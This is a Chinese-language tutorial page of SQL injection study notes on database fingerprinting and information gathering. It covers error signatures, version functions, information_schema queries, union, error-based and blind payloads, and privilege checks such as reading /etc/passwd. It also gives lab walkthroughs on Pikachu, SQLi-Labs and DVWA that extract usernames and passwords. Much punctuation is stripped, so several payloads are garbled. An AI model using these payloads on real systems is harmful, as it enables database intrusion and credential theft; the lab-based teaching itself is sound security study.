十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

SQL注入之数据库信息收集学习笔记

SQL注入之数据库信息收集学习笔记 一、什么是数据库信息收集数据库信息收集也叫数据库指纹识别是SQL注入过程中一个非常重要的环节。在成功发现注入点后攻击者不能直接“一步登天”拿到所有数据而是需要先了解目标数据库的类型、版本、用户权限、数据库结构等信息再根据这些信息选择合适的注入手法和Payload。信息收集的重要性信息收集之所以关键是因为不同数据库MySQL、Oracle、SQL Server、PostgreSQL的注入语法差异很大不同版本的数据库支持不同的函数和特性当前数据库用户的权限决定了你能做什么读取、写入、执行命令等数据库结构信息库名、表名、列名是获取目标数据的“地图”信息收集的核心要素数据库信息收集主要关注以下几个方面数据库类型MySQL、Oracle、SQL Server、PostgreSQL等数据库版本号当前数据库名称当前数据库用户及权限操作系统信息数据库中的所有库名、表名、列名二、数据库指纹识别方法通过报错信息识别这是最简单直接的方法。向注入点输入一个单引号 ’ 或 观察数据库返回的报错信息。MySQL报错特征You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 1 at line 1Oracle报错特征ORA-01756: quoted string not properly terminatedSQL Server报错特征Unclosed quotation mark after the character string Microsoft OLE DB Provider for SQL Server error 80040e14PostgreSQL报错特征ERROR: unterminated quoted string at or near 通过版本函数识别在注入点中使用数据库特有的版本函数根据响应内容判断数据库类型。MySQLSELECTversion()-- 返回如5.7.33-0ubuntu0.16.04.1SELECTversion-- 返回类似结果OracleSELECTbannerFROMv$version-- 返回如Oracle Database 19c Enterprise EditionSQL ServerSELECTVERSION-- 返回如Microsoft SQL Server 2019 (RTM)PostgreSQLSELECTversion()-- 返回如PostgreSQL 13.2 on x86_64-pc-linux-gnu通过特定函数/语句识别不同数据库支持不同的特有函数和语句可以用来判断数据库类型。判断是否为MySQLSELECT1FROMDUAL-- 某些版本需要DUAL表SELECTDATABASE()SELECTUSER()SELECTDATADIR判断是否为OracleSELECT1FROMDUAL-- Oracle特有DUAL表SELECTUSERFROMDUALSELECTGLOBAL_NAMEFROMGLOBAL_NAME判断是否为SQL ServerSELECTSERVERNAMESELECTDB_NAME()SELECTUSER_NAME()判断是否为PostgreSQLSELECTCURRENT_DATABASE()SELECTCURRENT_USERSELECTVERSION()三、MySQL数据库信息收集详解获取数据库版本SELECTversion()SELECTversionSELECTversion_comment获取当前数据库名SELECTdatabase()SELECTschema()-- MySQL 5.0SELECTDATABASE()FROMDUAL获取当前数据库用户SELECTuser()SELECTcurrent_user()SELECTsystem_user()SELECTsession_user()获取数据库数据目录SELECTdatadir-- 返回如/var/lib/mysql/获取数据库安装路径SELECTbasedir-- 返回如/usr/获取操作系统信息SELECTversion_compile_os-- 返回如Linux 或 Win32 或 Win64获取所有数据库名SELECTschema_nameFROMinformation_schema.schemataSELECTgroup_concat(schema_name)FROMinformation_schema.schemata获取指定库的所有表名SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schema库名SELECTgroup_concat(table_name)FROMinformation_schema.tablesWHEREtable_schema库名获取指定表的所有列名SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_name表名SELECTgroup_concat(column_name)FROMinformation_schema.columnsWHEREtable_name表名获取数据库文件路径在某些情况下可以通过以下方式获取数据库文件的存储路径-- 通过load_file读取配置文件SELECTload_file(/etc/my.cnf)SELECTload_file(C:\\ProgramData\\MySQL\\MySQL Server 5.7\\my.ini)四、不同注入手法中的信息收集联合查询注入中的信息收集当页面有数据回显时联合查询注入是最快的信息收集方式。获取版本UNIONSELECT1,version(),3获取当前数据库名UNIONSELECT1,database(),3获取当前用户UNIONSELECT1,user(),3获取所有数据库名UNIONSELECT1,group_concat(schema_name),3FROMinformation_schema.schemata获取操作系统信息UNIONSELECT1,version_compile_os,3报错注入中的信息收集当页面有报错回显时报错注入可以高效获取信息。获取版本ANDupdatexml(1,concat(0x7e,version(),0x7e),1)获取当前数据库名ANDupdatexml(1,concat(0x7e,database(),0x7e),1)获取当前用户ANDupdatexml(1,concat(0x7e,user(),0x7e),1)获取所有数据库名ANDupdatexml(1,concat(0x7e,(SELECTgroup_concat(schema_name)FROMinformation_schema.schemata),0x7e),1)布尔盲注中的信息收集当页面只有真/假两种状态时需要逐字符猜解。获取数据库名长度ANDlength(database())5获取数据库名字符ANDascii(substr(database(),1,1))100获取用户权限判断是否为rootANDsubstr(user(),1,4)root时间盲注中的信息收集当页面完全无任何差异时使用时间盲注逐字符猜解。获取数据库名长度ANDIF(length(database())5,SLEEP(5),0)获取数据库名字符ANDIF(ascii(substr(database(),1,1))100,SLEEP(5),0)五、information_schema数据库详解information_schema 是MySQL中一个特殊的系统数据库它存储了所有其他数据库的元数据信息。掌握 information_schema 的结构是进行SQL注入信息收集的关键。information_schema中的核心表SCHEMATA表 存储所有数据库的信息字段名 说明SCHEMA_NAME 数据库名称DEFAULT_CHARACTER_SET_NAME 默认字符集DEFAULT_COLLATION_NAME 默认排序规则TABLES表 存储所有表的信息字段名 说明TABLE_SCHEMA 表所属的数据库名TABLE_NAME 表名TABLE_TYPE 表类型BASE TABLE / VIEWENGINE 存储引擎TABLE_ROWS 表的行数大约COLUMNS表 存储所有列的信息字段名 说明TABLE_SCHEMA 列所属的数据库名TABLE_NAME 列所属的表名COLUMN_NAME 列名DATA_TYPE 数据类型COLUMN_TYPE 列类型包含长度等信息IS_NULLABLE 是否可为空information_schema的查询示例查询当前数据库的所有表名SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schemadatabase()查询指定数据库的所有表名SELECTtable_nameFROMinformation_schema.tablesWHEREtable_schematest查询指定表的所有列名SELECTcolumn_nameFROMinformation_schema.columnsWHEREtable_nameusers查询当前数据库的所有表名和对应列数SELECTtable_name,COUNT(*)ascolumn_countFROMinformation_schema.columnsWHEREtable_schemadatabase()GROUPBYtable_name查询所有数据库、表和列的关系SELECTtable_schema,table_name,column_nameFROMinformation_schema.columns六、MySQL权限判断方法获取当前用户的权限信息可以帮助攻击者判断能进行哪些操作。判断当前用户是否为rootSELECTuser()-- 如果返回 rootlocalhost说明是rootSELECTcurrent_user()-- 判断当前用户判断是否有文件读取权限SELECTload_file(/etc/passwd)-- 如果返回文件内容说明有FILE权限判断是否有文件写入权限SELECTtestINTOOUTFILE/tmp/test.txt-- 如果成功创建文件说明有FILE权限获取用户权限列表SELECTgrantee,privilege_typeFROMinformation_schema.user_privilegesWHEREgranteeLIKE%root%判断是否有执行系统命令的权限在MySQL中可以通过 UDF用户自定义函数执行系统命令但这取决于是否安装了特定插件SELECT*FROMmysql.funcWHEREnamesys_exec-- 如果返回结果说明可能存在命令执行能力七、数据库信息收集靶场实例Pikachu靶场 - 综合信息收集实战在Pikachu的各种注入关卡中都可以进行信息收集练习。目标 获取当前数据库中的所有表名和用户表中的列名。第一步确认注入点在输入框中输入 1’出现报错信息确认存在注入。第二步获取当前数据库名1 union select 1,database()#页面显示当前数据库名为 pikachu。第三步获取所有表名1 union select 1,group_concat(table_name) from information_schema.tables where table_schemapikachu#页面返回了所有表名如 users,news,comments,member 等。第四步获取users表的列名1 union select 1,group_concat(column_name) from information_schema.columns where table_nameusers#页面返回了 id,username,password,email,role 等列名。第五步获取数据1 union select 1,group_concat(username,:,password) from users#SQLi-Labs靶场 - Less-1至Less-4在SQLi-Labs的Less-1至Less-4中可以系统练习信息收集。Less-1联合查询注入-- 获取数据库名-1 union select 1, database(), 3%23 -- 获取所有表名 -1unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schemadatabase()%23-- 获取列名-1 union select 1, group_concat(column_name), 3 from information_schema.columns where table_nameusers%23Less-2整数型注入与Less-1类似但不需要单引号闭合。Less-3带括号的注入注意闭合括号后再进行联合查询。Less-4双引号注入注意使用双引号闭合。DVWA靶场 - 信息收集实战Low级别-- 获取版本信息1 union select 1, version()# -- 获取用户信息 1unionselect1,user()#-- 获取数据库名1unionselect1,database()#Medium级别 尝试使用 concat() 绕过部分过滤。?High级别 尝试其他注入方式获取信息。?
返回列表